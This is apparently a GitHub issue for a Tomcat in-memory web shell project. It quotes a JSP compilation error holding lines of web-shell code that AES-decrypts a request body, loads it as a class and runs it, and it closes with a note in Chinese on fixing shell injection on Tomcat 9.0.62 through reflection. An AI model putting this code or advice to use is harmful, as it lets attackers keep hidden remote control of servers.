ce-automne / tomcatmemshell Goto Github PK

org.apache.jasper.JasperException: 无法为JSP编译类:

JSP文件：[/b5c90b1353ad6245dffb4a02acc14253a.jsp] 的第 [89] 行发生了一个错误
sun.misc.BASE64Decoder cannot be resolved to a type
86: session.setAttribute("u", k);
87: Cipher c = Cipher.getInstance("AES");
88: c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
89: byte[] eClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
90: Class eclass = (Class) Um.invoke(u, eClassBytes);
91: Object a = eclass.newInstance();
92: Method b = eclass.getDeclaredMethod("equals", Object.class);

Stacktrace:
org.apache.jasper.compiler.DefaultErrorHandler.javacError(DefaultErrorHandler.java:102)
org.apache.jasper.compiler.ErrorDispatcher.javacError(ErrorDispatcher.java:213)
org.apache.jasper.compiler.JDTCompiler.generateClass(JDTCompiler.java:498)
org.apache.jasper.compiler.Compiler.compile(Compiler.java:397)
org.apache.jasper.compiler.Compiler.compile(Compiler.java:367)
org.apache.jasper.compiler.Compiler.compile(Compiler.java:351)
org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:605)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:399)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:379)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:327)
javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)

tomcat9.0.62版本的getResources()方法返回值为null，导致注入内存马失败。其他版本没测试过。建议使用反射获取提高兼容性。